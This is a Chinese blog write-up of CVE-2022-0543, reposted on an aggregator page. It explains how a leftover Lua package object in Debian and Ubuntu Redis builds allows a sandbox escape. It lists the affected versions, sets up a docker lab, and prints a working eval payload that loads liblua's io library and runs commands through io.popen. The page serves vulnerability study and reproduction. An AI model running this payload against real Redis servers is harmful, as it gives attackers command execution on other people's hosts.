当前位置:网站首页>Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Redis Lua沙盒绕过命令执行(CVE-2022-0543)
2022-06-26 00:52:00 【Sword-heart】
漏洞原理介绍
Redis 是一个开源(BSD 许可)的内存数据结构存储,用作数据库、缓存和消息代理。
Redis 是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
在 Ubuntu 发行版打包中,不慎在 Lua 沙箱中重新分发一个箱对象package,攻击利用这个对象的加载动态库,可以使用package.loadlib从 liblua 加载模块,然后使用此模块执行任意命令;
参考链接:
- An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other Debian derivatives
- #1005787 - redis: CVE-2022-0543 - Debian Bug report logs
漏洞版本
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5漏洞环境
执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器
docker-compose up -d

服务启动后,我们就可以使用redis-cli -h your-ip连接这个redis服务器了。

漏洞复现
我们借助Lua沙箱中遗留的变量`package`的`loadlib`函数来加载动态链接库`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`里的导出函数`luaopen_io`。在Lua中执行这个导出函数,即可获得`io`库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res 注意,liblua库,不同的系统liblua路径可能不一样,vulhub对应的ubantu系统的路径
利用 payload
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0命令执行成功

边栏推荐
猜你喜欢

Bloc入门之Cubit详解

树莓派 + AWS IoT 入门实验

为 ServiceCollection 实现装饰器模式

Visual studio 2013 redistributable is installed, but MySQL installation fails

图的深度优先遍历

【js】免费api判断节假日、工作日和周六日

vscode调试时提示更新到最新调试版本

Ndk20b ffmpeg4.2.2 compilation and integration

qtvtkvs2015测试代码

Wechat launched a web version transmission assistant. Is it really easy to use?
随机推荐
How did the thief unlock the password after the iPhone was stolen? After reading the long knowledge
静态库动态库的使用
工作一年闲记
表达式的动态解析和计算,Flee用起来真香
Redis linked list
How to improve code execution efficiency with arm pipeline
Disruptor (I) sequence
Ndk20b ffmpeg4.2.2 compilation and integration
ROS2+DDS+RTPS
[JS] free API to judge holidays, working days, Saturdays and Sundays
Cvpr2022 𞓜 future transformer with long-term action expectation
连接投影仪
跨平台应用开发进阶(二十三) :一文走近 testflight 上架
vs2015+PCL1.8.1+qt5.12-----(1)
Wechat launched a web version transmission assistant. Is it really easy to use?
【图像过滤】基于matlab GUI图像过滤系统【含Matlab源码 1913期】
Timer case
Markov decision process (MDP): gambler problem
vtk初始化代码学习1
Eureka注册信息配置备忘